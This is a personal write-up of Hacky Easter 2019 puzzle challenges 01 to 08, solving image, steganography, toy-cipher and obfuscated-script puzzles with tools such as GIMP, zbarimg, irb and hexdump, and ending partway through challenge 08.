Hacky Easter 2019 writeup

As every year hacking-lab.com carried out the annual Hacky Easter event with 27 challenges. As usual the variety of the challenges was awesome. I actually got full score this year 🙂 Many thanks to daubsi, who gave me a nudge once in a while on the last challenges (you can find his writeup here).
Easy
01 Twisted
02 Just Watch
03 Sloppy Encryption
04 Disco 2
05 Call for Papers
06 Dots
07 Shell we Argument
08 Modern Art
09 rorriM rorriM
Medium
10 Stackunderflow
11 Memeory 2.0
12 Decrypt0r
13 Symphony in HEX
14 White Box
15 Seen in Steem
16 Every-Thing
17 New Egg Design
18 Egg Storage
Hard
19 CoUmpact DiAsc
20 Scrambled Egg
21 The Hunt: Misty Jungle
22 The Hunt: Muddy Quagmire
23 The Maze
24 CAPTEG
Hidden
25 Hidden Egg #1
26 Hidden Egg #2
27 Hidden Egg #3

01 – Twisted

The challenge directly provides the egg, though it is a little bit twisted:



In order to untwist the image, GIMP can be used. At first I applied the filter Filters -> Distorts -> Whirl and Pinch… with a whirl value of 113.0:



Secondly the image can be rotated using the Rotate Tool (Shift+R) with an angle of approximately -7.42:



The QR code of the final image can be scanned using zbarimg (apt-get install zbar-tools):
root@kali:~/Documents/he19/egg01# zbarimg untwisted.png
QR-Code:he19-Eihb-UUVw-nObm-lxaW
scanned 1 barcode symbols from 1 images in 0.02 seconds

The flag is he19-Eihb-UUVw-nObm-lxaW.

02 – Just Watch

The challenge provides the following GIF animation:



Obviously the girl on the picture is disclosing the password by showing different signs with her hand.

Googling a little bit for hand and signs I found a wikipedia article about fingerspelling.

Using the google image search with the term fingerspelling revealed this website containing the following image:



This seem to be the exact same images as used in the challenge.

In order to decode the password more easily, I started by extracting all frames of the animation using convert:
root@kali:~/Documents/he19/egg02# convert -coalesce justWatch.gif out%d.png
root@kali:~/Documents/he19/egg02# ls -al
total 3716
drwxr-xr-x 2 root root    4096 May 15 02:38 .
drwxr-xr-x 3 root root    4096 May 15 02:11 ..
-rw-r--r-- 1 root root 1948510 May 15 02:11 justWatch.gif
-rw-r--r-- 1 root root  166684 May 15 02:38 out0.png
-rw-r--r-- 1 root root  166761 May 15 02:38 out10.png
-rw-r--r-- 1 root root  167056 May 15 02:38 out1.png
-rw-r--r-- 1 root root  166346 May 15 02:38 out2.png
-rw-r--r-- 1 root root  166343 May 15 02:38 out3.png
-rw-r--r-- 1 root root  165351 May 15 02:38 out4.png
-rw-r--r-- 1 root root  166343 May 15 02:38 out5.png
-rw-r--r-- 1 root root  165907 May 15 02:38 out6.png
-rw-r--r-- 1 root root  166516 May 15 02:38 out7.png
-rw-r--r-- 1 root root  167056 May 15 02:38 out8.png
-rw-r--r-- 1 root root  166632 May 15 02:38 out9.png

Now each frame of the animation can be mapped to the corresponding letter from the above image:

givemeasign


Entering the password givemeasign in the Eggo-o-Matic™ yields the egg:



The flag is he19-DwWd-aUU2-yVhE-SbaG.

03 – Sloppy Encryption

The challenge provides the following ruby script called sloppy.rb:
require"base64"
puts"write some text and hit enter:"
input=gets.chomp
h=input.unpack('C'*input.length).collect{|x|x.to_s(16)}.join
ox='%#X'%h.to_i(16)
x=ox.to_i(16)*['5'].cycle(101).to_a.join.to_i
c=x.to_s(16).scan(/../).map(&:hex).map(&:chr).join
b=Base64.encode64(c)
puts"encrypted text:""#{b}"

The script prompts the user to enter some text, which is encrypted (in this case "test"):
root@kali:~/Documents/he19/egg03# ruby sloppy.rb
write some text and hit enter:
test
encrypted text:LjG7n80dns+hkaaYQKo0CqOOvhyCrBHyBmmHDxNDMfoSDjjjjjjjjjjjTY6/
3A==

The challenge description also provides an already encrypted string which should be decrypted:

K7sAYzGlYx0kZyXIIPrXxK22DkU4Q+rTGfUk9i9vA60C/ZcQOSWNfJLTu4RpIBy/27yK5CBW+UrBhm0=

In order to decrypt the string, we need to revert the steps made by the script. Let’s start by determining what each of the steps does.

At first the user input is read using gets.chomp:
input=gets.chomp

Then several methods are called on this input and the final result is stored in the variable h:
h=input.unpack('C'*input.length).collect{|x|x.to_s(16)}.join

In order to understand what these methods do, we can call them one after another on some test input using the interactive ruby shell (irb):
root@kali:~/Documents/he19/egg03# irb --simple-prompt
>> input = 'test'
=> "test"
>> input.unpack('C'*input.length)
=> [116, 101, 115, 116]
>> input.unpack('C'*input.length).collect{|x|x.to_s(16)}
=> ["74", "65", "73", "74"]
>> h=input.unpack('C'*input.length).collect{|x|x.to_s(16)}.join
=> "74657374"

As we can see, each character of the input string is converted to its corresponding ASCII value (unpack), which is then converted to its hex value as a string (to_s(16)). Finally all single hex strings are combined to one string (join).

The next line basically prepends "0X" to the string:
>> ox='%#X'%h.to_i(16)
=> "0X74657374"


The resulting value is multiplied with another value:
x=ox.to_i(16)*['5'].cycle(101).to_a.join.to_i

Let’s comprehend the value of both multipliers:
>> ox.to_i(16)
=> 1952805748
>> ['5'].cycle(101).to_a.join.to_i
=> 55555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555

The first multiplier is the value of the hex string converted to an integer ("0X74657374" = 1952805748). The second multiplier is simply the value 555... (101 times).

The next lines contains a few method calls on the resulting value x:
c=x.to_s(16).scan(/../).map(&:hex).map(&:chr).join

Again, let’s call the methods one after another in order to understand what they do:
>> x.to_s(16)
=> "2e31bb9fcd1d9ecfa191a69840aa340aa38ebe1c82ac11f20669870f134331fa120e38e38e38e38e38e34d8ebfdc"
>> x.to_s(16).scan(/../)
=> ["2e", "31", "bb", "9f", "cd", "1d", "9e", "cf", "a1", "91", "a6", "98", "40", "aa", "34", "0a", "a3", "8e", "be", "1c", "82", "ac", "11", "f2", "06", "69", "87", "0f", "13", "43", "31", "fa", "12", "0e", "38", "e3", "8e", "38", "e3", "8e", "38", "e3", "4d", "8e", "bf", "dc"]
>> x.to_s(16).scan(/../).map(&:hex)
=> [46, 49, 187, 159, 205, 29, 158, 207, 161, 145, 166, 152, 64, 170, 52, 10, 163, 142, 190, 28, 130, 172, 17, 242, 6, 105, 135, 15, 19, 67, 49, 250, 18, 14, 56, 227, 142, 56, 227, 142, 56, 227, 77, 142, 191, 220]
>> x.to_s(16).scan(/../).map(&:hex).map(&:chr)
=> [".", "1", "\xBB", "\x9F", "\xCD", "\x1D", "\x9E", "\xCF", "\xA1", "\x91", "\xA6", "\x98", "@", "\xAA", "4", "\n", "\xA3", "\x8E", "\xBE", "\x1C", "\x82", "\xAC", "\x11", "\xF2", "\x06", "i", "\x87", "\x0F", "\x13", "C", "1", "\xFA", "\x12", "\x0E", "8", "\xE3", "\x8E", "8", "\xE3", "\x8E", "8", "\xE3", "M", "\x8E", "\xBF", "\xDC"]
>> x.to_s(16).scan(/../).map(&:hex).map(&:chr).join
=> ".1\xBB\x9F\xCD\x1D\x9E\xCF\xA1\x91\xA6\x98@\xAA4\n\xA3\x8E\xBE\x1C\x82\xAC\x11\xF2\x06i\x87\x0F\x13C1\xFA\x12\x0E8\xE3\x8E8\xE3\x8E8\xE3M\x8E\xBF\xDC"

At first the value of x is converted to a hex string (to_s(16)), which is then split into an array containing two hex values in each element (scan). Each element’s value is converted to an integer (map(&:hex)), which is then converted to an ASCII character (map(&:char)). Finally all ASCII characters are combined to one string (join).

At the very last this string is base64 encoded an printed as the encrypted text:
b=Base64.encode64(c)
puts"encrypted text:""#{b}"

With our test input:
>> b=Base64.encode64(c)
=> "LjG7n80dns+hkaaYQKo0CqOOvhyCrBHyBmmHDxNDMfoSDjjjjjjjjjjjTY6/\n3A==\n"

As we now understand, what the script does, we can revert the process in order to decrypt the given string (I added intermediate steps and removed unnecessary steps for better understanding):
>> c=Base64.decode64(b)
=> ".1\xBB\x9F\xCD\x1D\x9E\xCF\xA1\x91\xA6\x98@\xAA4\n\xA3\x8E\xBE\x1C\x82\xAC\x11\xF2\x06i\x87\x0F\x13C1\xFA\x12\x0E8\xE3\x8E8\xE3\x8E8\xE3M\x8E\xBF\xDC"
>> c.split('')
=> [".", "1", "\xBB", "\x9F", "\xCD", "\x1D", "\x9E", "\xCF", "\xA1", "\x91", "\xA6", "\x98", "@", "\xAA", "4", "\n", "\xA3", "\x8E", "\xBE", "\x1C", "\x82", "\xAC", "\x11", "\xF2", "\x06", "i", "\x87", "\x0F", "\x13", "C", "1", "\xFA", "\x12", "\x0E", "8", "\xE3", "\x8E", "8", "\xE3", "\x8E", "8", "\xE3", "M", "\x8E", "\xBF", "\xDC"]
>> c.split('').map(&:ord)
=> [46, 49, 187, 159, 205, 29, 158, 207, 161, 145, 166, 152, 64, 170, 52, 10, 163, 142, 190, 28, 130, 172, 17, 242, 6, 105, 135, 15, 19, 67, 49, 250, 18, 14, 56, 227, 142, 56, 227, 142, 56, 227, 77, 142, 191, 220]
>> c.split('').map(&:ord).map{|x|'%02x'%x}
=> ["2e", "31", "bb", "9f", "cd", "1d", "9e", "cf", "a1", "91", "a6", "98", "40", "aa", "34", "0a", "a3", "8e", "be", "1c", "82", "ac", "11", "f2", "06", "69", "87", "0f", "13", "43", "31", "fa", "12", "0e", "38", "e3", "8e", "38", "e3", "8e", "38", "e3", "4d", "8e", "bf", "dc"]
>> c.split('').map(&:ord).map{|x|'%02x'%x}.join
=> "2e31bb9fcd1d9ecfa191a69840aa340aa38ebe1c82ac11f20669870f134331fa120e38e38e38e38e38e34d8ebfdc"
>> x=c.split('').map(&:ord).map{|x|'%02x'%x}.join.to_i(16)
=> 108489208222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222221137330140
>> ox=x/['5'].cycle(101).to_a.join.to_i
=> 1952805748
>> h=ox.to_s(16)
=> "74657374"
>> input=[h].pack('H*')
=> "test"

The final decrypt script …
require"base64"
puts"write string to be decrypted and hit enter:"
b=gets.chomp
c=Base64.decode64(b)
x=c.split('').map(&:ord).map{|x|'%02x'%x}.join.to_i(16)
ox=x/['5'].cycle(101).to_a.join.to_i
h=ox.to_s(16)
input=[h].pack('H*')
puts"decrypted text:""#{input}"

… can be used the decrypt the given string:
root@kali:~/Documents/he19/egg03# ruby decrypt.rb
write string to be decrypted and hit enter:
K7sAYzGlYx0kZyXIIPrXxK22DkU4Q+rTGfUk9i9vA60C/ZcQOSWNfJLTu4RpIBy/27yK5CBW+UrBhm0=
decrypted text:n00b_style_crypto

Entering the decrypted text n00b_style_crypto as the password in the Eggo-o-Matic™ yields the egg:



The flag is he19-YPkZ-ZZpf-nbYt-6ZyD.

04 – Disco 2

The challenge description contains a link to the following website, which displays a mirror ball in center of a bridge:



A comment within the source code states, that the implementation is taken from http://threejs.org:
<!-- From http://threejs.org webgl environment examples  -->
<!-- Spherical Map by Paul Debevec (http://www.pauldebevec.com/Probes/)  -->

Actually the original example can be found here. The source code is also available on GitHub.

Instead of a mirror ball the original version displays an ordinary sphere:



There are basically three js-files included in the original version:
		<script src="../build/three.js"></script>

		<script src="js/controls/OrbitControls.js"></script>

		<script src="js/libs/dat.gui.min.js"></script>

The challenge version contains an additional file called mirrors.js:
  <script src="js/three.js"></script>
  <script src="js/controls/OrbitControls.js"></script>
  <script src="js/libs/dat.gui.min.js"></script>
  <script src="js/mirrors.js"></script>

This file defines an array, which obviously sets the position of each mirror tile:
var mirrors = [
    [-212.12311944947584, 229.43057454041843, 249.7306422149211],  [360.6631259495831, 169.04730469627978, -36.67585520745629],  ...

When beginning to inspect the array within the web developer console, I was quite surprised that the array contains 1930 items, which are far more than I would have expected:



In order to be able to modify the javascript code, the page can be downloaded and run locally. Since the texture images are loaded dynamically through javascript and are not downloaded automatically by the browser, the following adjustment can be made to enable the textures on the local version:

Before
        var r = "textures/cube/Bridge2/";

After
        var r = "https://hackyeaster.hacking-lab.com/hackyeaster/challenges/disco2/textures/cube/Bridge2/";

After this adjustment the textures are also working in the local version:



Now we can modify the javascript code in order to get an idea of where the egg might be hidden.

One modification I tested was hiding the actual sphere of the mirror ball. In order to do this, it suffices to comment out the following line:
        //scene.add(sphereMesh);

After this change we can see that there are additional mirror tiles within the sphere:



By rotating the sphere around a little bit one can vaguely guess that it is actually a QR code hidden within the sphere.

In order to get a clean view on it, the outer mirror tiles should be removed.

Since the outer tiles should all have the same distance from the center, we can determine this distance and filter out all corresponding tiles. At first let’s display the distance of all tiles by entering the following javascript code in the web developer console:
mirrors.forEach(tile => {
  var len = Math.sqrt(tile[0]**2 + tile[1]**2 + tile[2]**2);
  console.log(len);
});

The printed values suggest that the distance of the outer tiles is approximately 400.0:



Knowing this we can adjust the javascript code in order to filter out these tiles:
        for (var i = 0; i < mirrors.length; i++) {
          var m = mirrors[i];
          mirrorTile = new THREE.Mesh(tileGeom, sphereMaterial);
          mirrorTile.position.set(m[0], m[1], m[2]);
          mirrorTile.lookAt(center);
          var len = Math.sqrt(m[0]**2 + m[1]**2 + m[2]**2);
          if (len > 399.9 && len < 400.1) continue;
          scene.add(mirrorTile);
        }

Now a little bit less imagination is required to recognize the QR code:




Let’s add two more changes to make the QR code even more recognizable. At first we can change the texture of the mirror tiles to be simply black:
        sphereMaterial = new THREE.MeshLambertMaterial({
          //envMap : textureCube
          color: 0x000000
        });

Then we adjust the orientation of the mirror tiles to be aligned with the direction of the bridge by replacing the following line:
          //mirrorTile.lookAt(center);
          mirrorTile.lookAt(new THREE.Vector3(0, 0, 1000));

Now the QR code is clearly visible:



… and can even be scanned:
root@kali:~/Documents/he19/egg04# zbarimg screen.png
QR-Code:he19-r5pN-YIRp-2cyh-GWh8
scanned 1 barcode symbols from 1 images in 0.1 seconds

The flag is he19-r5pN-YIRp-2cyh-GWh8.

05 – Call for Papers

The challenge provides an MS Word file called IAPLI_Conference.docx:



The text itself didn’t seem to contain any useful information. Though, when viewing the properties of the file, I recognized something suspicious:



The file was modified by Philipp Sieber, who probably is the author of the challenge (PS). This comes as little surprise. However the file was created by SCIpher. This doesn’t look like an usual username. Accordingly I googled for SCIpher, which lead me to the following page: https://pdos.csail.mit.edu/archive/scigen/scipher.html. As the page states, “SCIpher is a program that can hide text messages within seemingly innocuous scientific conference advertisements”. In order to extract the hidden text message, we can simply copy&paste the text of the Word file into the following textarea and click on Decode:



The hidden message is actually a link:



… which leads us to the egg:



The flag is he19-A6kG-rb9U-Iury-qv93.

06 – Dots

The challenge provides a sudoku-like field with letters:



… as well as another field containing dots:




At first I thought that the dots in the second image indicate, which letters in the first image are relevant. Since this didn’t lead to anything useful, I tried it the other way round: taking all letters into account, which are not covered by a dot. When doing this, I recognized that each dot is in a different inner square and all squares are covered by a dot expect the middle upper as well as the middle right one. So this must be the actual dots of the field located at the bottom right containing a painting of green and golden dots. Thus we got the following letters:




The letters are: CRCHSHTOEDIOLPWAASEWHITSTOE

The first word, which is quite good recognizable within this letters, is PASSWORD.

Extracting this words makes the remaining letters: CCHHTOEILAEWHITSTOE.

Mh, there might also be the word THE … remaining letters: CCHOILAEWHITSTOE.

Probably also IS … remaining letters: CCHOLAEWHITTOE.

The letters at the end look like the word WHITE … remaining letters: CCHOLAETO.

And these letters can be rearranged to the last word, which is: CHOCOLATE.

This makes the final text: THE PASSWORD IS WHITE CHOCOLATE.

Entering the password WHITECHOCOLATE in the Eggo-o-Matic™ yields the egg:



The flag is he19-n3B2-lZTU-LQTJ-nlRC.

07 – Shell we Argument

The challenge provides the following bash script:
z="
";ACz='he';CCz='ec';iHz='Gr';vEz='na';LBz='ye';OFz='aw';kDz=' u';lEz='r"';GBz='Pz';sDz='at';kEz='et';HCz=' m';wEz='be';az='in';pCz=' w';UGz='w=';qFz='-9';WFz='Ah';yz='ag';ABz='Lz';pGz=' 4';wz='/e';YHz='$a';JBz='8c';jFz='{';KDz=' i';lFz='{1';Kz='8a';Wz='tp';EFz='pe';bDz='" ';FIz='py';sGz=' 3';IDz='tw';PHz='$J';HDz=' B';oz='f3';uGz=' 9';lz='Tz';bz='Wz';IFz='y!';RCz='di';NEz='y ';SFz='lt';qDz='t.';XCz=' y';cHz='$i';JDz=': ';xGz='00';IHz='t=';GDz='s.';ICz='e ';iBz='oz';sz='ht';hGz=' +';gFz='sN';ODz=' /';PDz='-[';MDz='fo';uFz='$ ';mz='es';vFz=']]';cGz='[ ';WBz='nz';ZDz='d"';WHz='$W';FHz='$m';uz='ck';lDz='nd';HEz='ot';rHz='2';KHz='$B';rBz=' [';dDz='-R';Rz='hz';jGz='))';wBz='1 ';fBz='12';NHz='$F';PEz='yp';JCz='so';LGz='ce';jCz='on';CFz='gh';fFz='ti';nCz='cu';vz='Uz';jEz='do';dBz='ac'; vHz='ro';JFz='$9';wHz='ws';TFz='qu';VCz='wi';jz='Iz';OEz='bo';yDz='t,';yGz='7';LHz='z$';fEz=' k';pHz='sl';ADz='er';mHz='om';nFz='=~';WGz='tc';oHz='o!';sHz=' x';NCz='um';cBz='cz';Iz='.p';EDz='gu';lBz='42';SCz='sc';BDz=' o';SGz='e?';qHz='p ';qGz='65';VHz='$U';oBz='dz';IEz='ai';ECz=' "';eCz='-n';Vz='Bz';tCz='wh';fDz='y,';uDz=' e';rz='Az';VFz='ub';YFz='h,';HBz='m/';LFz='No';vCz='iv';fz='Yz';bCz=' -';LIz='w,';OGz='0 ';GFz='ea';dGz='2 ';iz='r.';kFz='[[';tFz='3}';ZFz=' f';HHz=' 5';LDz='n ';MFz='n'\''';BIz='Fi';QHz='$L';kBz='mz';mDz='st';Pz='Xz';hFz='r(';JGz='se';oFz=' ^';CEz='$3';iDz=' I';CHz='de';MCz='rg';MBz='Dz';dHz='$k';NGz='ee';hz='Jz';pBz='b7';KGz='Ni';mEz='$7';JEz='n.';QEz='of';uCz=' g';AIz='$t';WDz='re';XGz='h=';tDz='r ';NBz='//';KFz='-t';xEz=', ';DHz='v/';gBz='bz';BGz='Nr';XBz='c7';cFz='t'\''';IGz='el';FBz='gg';NDz='rm';LEz='al';tEz='. ';Dz='Cz';ZBz='r/';XFz='hh';YBz='Qz';uBz='-l';REz='t"';oDz='d ';HIz='l ';sBz=' $';PGz='99';gGz='ow';HGz='."';yHz='w-';Yz='62';AGz='& ';hDz='ut';yCz='mb';pz='kz';FDz='nt';iEz='ca';DDz='ar';hBz='75';vBz='t ';Jz='fz';IBz='pz';rGz='$4';CDz='f ';bGz=' {';hEz='w ';Tz='Rz';rDz=' r';ZGz='=0';SEz='$5';QDz='a-';MEz=' v';eEz='?.';vGz='11';tHz='-w';ZHz='$c';gDz=' b';VEz='m ';TEz='-b';OIz='h:';Cz='";';NFz='ge';EEz='Oh';UHz='$S';KIz='w:';qBz='if';wCz='rr';Az='z=';qCz='h ';pDz='ur';nBz='6e';DGz='&&';Ax2='ev';RDz='zA';cDz='!=';QBz='Hz';xTT='al';DBz='ha';QFz='e!';aEz=' s';DIz=' h';RHz='$N';MHz='$D';aGz='()';jHz='rf';MIz='ed';GGz='${';oGz='ch';BCz='n';YDz='ep';vDz='ri';Fz='s:';AEz='sn';qEz='ma';xFz='$2';nEz='-I';CBz='Ez';GEz='o,';mGz='((';GCz='ve';Mz='e9';JHz='"$';nGz='(m';OBz='iz';IIz='nv';QGz='9,';dEz='ra';GHz='eq';rFz=']{';aBz='ez';kz='te';rCz='yo';xz='Sz';yFz=' &';CIz='eg';UFz='ir';hHz='z"';DFz='ty';xDz='em';DCz='ho';xHz='x-';nz='Zz';FGz='8 ';lGz='=$';CGz='4 ';Sz='7e';kGz='gt';uEz='If';AHz=' (';TGz='lo';WEz='cl';OCz='en';pFz='[0';iCz='I ';TDz='] ';ZEz='hy';FFz='s,';KBz='Gz';qz='15';nDz='an';OHz='$H';Gz=''\'';';BFz='g ';bEz='uc';QCz='o ';aFz='! ';Oz='co';UDz='..';YCz='ou';eHz='$o';RBz='as';BBz='g-';PBz='cd';tBz='# ';pEz='ay';EGz='$6';EBz='Vz';Uz='im';AFz='br';XEz='ue';SDz='-Z';gCz=' ]';kCz='ly';nHz='gl';dCz='fi';VDz='./';gz='1e';BHz='&>';Ez='='\''';gHz='$r';ZCz='ex';yEz='ul';lHz='ok';DEz='-a';Zz='Kz';WCz='th';HFz='ll';RFz=''\''s';UCz='s ';FCz='Gi';KEz='3 ';dz='rz';SBz='Mz';aDz='$1';bBz='d8';wFz='}';bFz='Le';cz='s/';fHz='$p';fCz='10';aCz='it';KCz='me'; eBz='gz';GIz='il';sCz='u ';eDz='So';RGz=' p';yBz=' t';fGz='(l';Xz='lz';TBz='la';mFz='} ';VBz='b.';YGz='hi';EIz='ap';XDz='cc';LCz=' a';oCz='ss';oEz='lw';mBz='jz';wDz='c ';jBz='4a';eFz='nc';rEz='ke';Qz='a6';Nz='Oz';PCz='ts';xCz='nu';Bz='"';dFz='fu';xBz='];';jDz=''\''t';wGz='$8';uHz='ww';bHz='$g';eGz='$(';iFz=') ';YEz='le';Hz='qz';gEz='no';ez='ng';kHz='to';JIz='bl';FEz=' n';tz='Fz';BEz='t?';VGz='0';UBz='Nz';NIz='ig';TCz='us';lCz=' d';PFz='9 ';EHz=' ;';cCz='1';SHz='$P';THz='$Q';hCz='; ';sFz='1,';Lz='az';tGz='33';aHz='$e';cEz='a ';MGz='bu';sEz='ad';iGz=' 1';UEz='I'\''';XHz='$Y';mCz='is';
$Ax2$xTT "$Az$Bz$z$Cz$Dz$Ez$Fz$Gz$Hz$Ez$Iz$Gz$Jz$Ez$Kz$Gz$Lz$Ez$Mz$Gz$Nz$Ez$Oz$Gz$Pz$Ez$Qz$Gz$Rz$Ez$Sz$Gz$Tz$Ez ...

The first part of the script defines plenty of variables, which are used in the last line of the script. This line begins with $Ax2$xTT, which evaluates to eval considering the former variable definitions (Ax2='ev' and xTT='al'). This eval instruction is followed by a statement, which is composed of the formerly defined variables. In order to quickly understand, what is passed to eval, we can simply replace $Ax2$xTT with echo:
echo "$Az$Bz$z$Cz$Dz$Ez$Fz$Gz$Hz$Ez ...

Running the script outputs the following:
root@kali:~/Documents/he19/egg07# bash eggi_02.sh
z="
";Cz='s:';qz='.p';fz='8a';az='e9';Oz='co';Xz='a6';hz='7e';Rz='im';Bz='tp';lz='62';Kz='in';Wz='s/';rz='ng';Yz='1e';Jz='r.';Iz='te'; Tz='es';Zz='f3';kz='15';Az='ht';Fz='ck';Uz='/e';Sz='ag';Lz='g-';Ez='ha';Vz='gg';Pz='m/';pz='8c';Gz='ye';Dz='//';iz='cd';Hz='as';Mz='la'; Nz='b.';nz='c7';Qz='r/';ez='d8';cz='ac';gz='12';bz='75';oz='4a';mz='42';jz='6e';dz='b7';
if [ $# -lt 1 ]; then
echo "Give me some arguments to discuss with you"
exit -1
fi
if [ $# -ne 10 ]; then
echo "I only discuss with you when you give the correct number of arguments. Btw: only arguments in the form /-[a-zA-Z] .../ are accepted"
exit -1
fi
if [ "$1" != "-R" ]; then
echo "Sorry, but I don't understand your argument. $1 is rather an esoteric statement, isn't it?"
exit -1
fi
if [ "$3" != "-a" ]; then
echo "Oh no, not that again. $3 really a very boring type of argument"
exit -1
fi
if [ "$5" != "-b" ]; then
echo "I'm clueless why you bring such a strange argument as $5?. I know you can do better"
exit -1
fi
if [ "$7" != "-I" ]; then
echo "$7 always makes me mad. If you wanna discuss with be, then you should bring the right type of arguments, really!"
exit -1
fi
if [ "$9" != "-t" ]; then
echo "No, no, you don't get away with this $9 one! I know it's difficult to meet my requirements. I doubt you will"
exit -1
fi
echo "Ahhhh, finally! Let's discuss your arguments"
function isNr() {
[[ ${1} =~ ^[0-9]{1,3}$ ]]
}
if isNr $2 && isNr $4 && isNr $6 && isNr $8 && isNr ${10} ; then
echo "..."
else
echo "Nice arguments, but could you formulate them as numbers between 0 and 999, please?"
exit -1
fi
low=0
match=0
high=0
function e() {
if [[ $1 -lt $2 ]]; then
low=$((low + 1))
elif [[ $1 -gt $2 ]]; then
high=$((high + 1))
else
match=$((match + 1))
fi
}
e $2 465
e $4 333
e $6 911
e $8 112
e ${10} 007
function b () {
type "$1" &> /dev/null ;
}
if [[ $match -eq 5 ]]; then
t="$Az$Bz$Cz$Dz$Ez$Fz$Gz$Hz$Iz$Jz$Ez$Fz$Kz$Lz$Mz$Nz$Oz$Pz$Ez$Fz$Gz$Hz$Iz$Qz$Rz$Sz$Tz$Uz$Vz$Wz$Xz$Yz$Zz$az$bz$cz$dz$ez$fz$gz$hz$iz$jz$kz$lz$mz$nz$oz$Zz$pz$qz$rz"
echo "Great, that are the perfect arguments. It took some time, but I'm glad, you see it now, too!"
sleep 2
if b x-www-browser ; then
x-www-browser $t
else
echo "Find your egg at $t"
fi
else
echo "I'm not really happy with your arguments. I'm still not convinced that those are reasonable statements..."
echo "low: $low, matched $match, high: $high"
fi

Again there are a few variable definitions at the beginning followed by different tests on the given arguments. Without actually digging deeper into these tests, we can see that a variable called t is defined at the bottom, which uses the formerly defined variables. So let’s copy&paste the variable definitions from the beginning as well as the definition of t to a new script and output the variable t:
root@kali:~/Documents/he19/egg07# cat solution.sh
z="
";Cz='s:';qz='.p';fz='8a';az='e9';Oz='co';Xz='a6';hz='7e';Rz='im';Bz='tp';lz='62';Kz='in';Wz='s/';rz='ng';Yz='1e'; Jz='r.';Iz='te';Tz='es';Zz='f3';kz='15';Az='ht';Fz='ck';Uz='/e';Sz='ag';Lz='g-';Ez='ha';Vz='gg';Pz='m/';pz='8c';Gz='ye';Dz='//';iz='cd';Hz='as';Mz='la';Nz='b.';nz='c7';Qz='r/';ez='d8'; cz='ac';gz='12';bz='75';oz='4a';mz='42';jz='6e';dz='b7';
t="$Az$Bz$Cz$Dz$Ez$Fz$Gz$Hz$Iz$Jz$Ez$Fz$Kz$Lz$Mz$Nz$Oz$Pz$Ez$Fz$Gz$Hz$Iz$Qz$Rz$Sz$Tz$Uz$Vz$Wz$Xz$Yz$Zz$az$bz$cz$dz$ez$fz$gz$hz$iz$jz$kz$lz$mz$nz$oz$Zz$pz$qz$rz"
echo $t


Running this script outputs the content of t:
root@kali:~/Documents/he19/egg07# bash solution.sh
https://hackyeaster.hacking-lab.com/hackyeaster/images/eggs/a61ef3e975acb7d88a127ecd6e156242c74af38c.png

… which contains the URL of the egg:



The flag is he19-Bxvs-Vno1-9l9D-49gX.

08 – Modern Art

The challenge provides the following image:



The corners of the QR code are covered by another four QR codes, which are all the same:


root@kali:~/Documents/he19/egg08# zbarimg little_qrcode.jpg
QR-Code:remove me
scanned 1 barcode symbols from 1 images in 0 seconds

The QR code decodes to remove me. Thus I tried to fix the big QR code by replacing the little QR codes with the appropriate pixels using GIMP:



Scanning this QR still doesn’t reveal the flag:
root@kali:~/Documents/he19/egg08# zbarimg big_qrcode.jpg
QR-Code:Isn't that a bit too easy?
scanned 1 barcode symbols from 1 images in 0.05 seconds

So we can try to run strings on the original image, which reveals an unusual hex-value as well as a value called KEY:
root@kali:~/Documents/he19/egg08# strings modernart.jpg | less
4\Zq
:'?<
        ~T
`Zq(
 D@,
...
(E7EF085CEBFCE8ED93410ACF169B226A)
(KEY=1857304593749584)
...


The hex-value might be some cipher text, which has been encrypted using the key. Since we do not have any further information yet, let’s continue analyzing the image.

When viewing the file with hexdump, an unusual pattern can be recognized at the end of the file:
root@kali:~/Documents/he19/egg08# hexdump -C modernart.jpg
00000000  ff d8 ff db 00 43 00 01  01 01 01 01 01 01 01 01  |.....C..........|
00000010  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
*
00000040  01 01 01 01 01 01 01 ff  db 00 43 01 01 01 01 01  |..........C.....|
00000050  01 01 01 01 01 01 01 01  01 01 01 01 01 01 01 01  |................|
*
00000080  01 01 01 01 01 01 01 01  01 01 01 01 ff c2 00 11  |................|
00000090  08 01 f4 01 f4 03 01 11  00 02 11 01 03 11 01 ff  |................|
000000a0  c4 00 1a 00 01 00 03 01  01 01 00 00 00 00 00 00  |................|
000000b0  00 00 00 00 00 08 09 0a  07 06 05 ff c4 00 14 01  |................|
000000c0  01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000d0  00 ff da 00 0c 03 01 00  02 10 03 10 00 00 01 a1  |................|
000000e0  f2 6f 83 9f 9d fc 98 04  7f 39 f9 67 e5 60 1e 00  |.o.......9.g.`..|
000000f0  11 7c d4 f1 3f c0 00 11  fc c4 18 00 00 69 f4 b7  |.|..?........i..|
00000100  f3 20 44 00 35 fa 4f f3  10 47 00 07 7f 36 fa 01  |. D.5.O..G...6..|
00000110  50 06 60 80 2f f8 bf e0  0c 81 1e 7c f4 07 1f 26  |P.`./......|...&|
...
00022790  20 20 e2 96 84 20 e2 96  88 20 e2 96 84 e2 96 80  |  ... ... ......|
000227a0  20 e2 96 84 20 20 0a 20  e2 96 84 e2 96 84 e2 96  | ...  . ........|
000227b0  84 e2 96 84 e2 96 84 e2  96 84 e2 96 84 20 e2 96  |............. ..|
000227c0  88 e2 96 80 e2 96 84 e2  96 88 20 e2 96 88 e2 96  |.......... .....|
000227d0  84 e2 96 88 20 e2 96 80  e2 96 80 20 20 20 0a 20  |.... ......   . |
000227e0  e2 96 88 20 e2 96 84 e2  96 84 e2 96 84 20 e2 96  |... ......... ..|
000227f0  88 20 e2 96 88 e2 96 88  e2 96 84 e2 96 88 e2 96  |. ..............|
00022800  80 e2 96 88 e2 96 84 e2  96 88 e2 96 80 e2 96 80  |................|
00022810  e2 96 84 20 e2 96 88 20  0a 20 e2 96 88 20 e2 96  |... ... . ... ..|
00022820  88 e2 96 88 e2 96 88 20  e2 96 88 20 e2 96 84 20  |....... ... ... |
00022830  e2 96 80 20 e2 96 84 20  e2 96 80 e2 96 80 e2 96  |... ... ........|
00022840  84 e2 96 88 e2 96 80 e2  96 80 e2 96 84 20 0a 20  |............. . |
00022850  e2 96 88 e2 96 84 e2 96  84 e2 96 84 e2 96 84 e2  |................|
00022860  96 84 e2 96 88 20 e2 96  88 e2 96 80 e2 96 88 20  |..... ......... |
00022870  e2 96 84 20 e2 96 88 e2  96 80 20 20 e2 96 88 e2  |... ......  ....|
00022880  96 80 e2 96 88 20 0a                              |..... .|
00022887


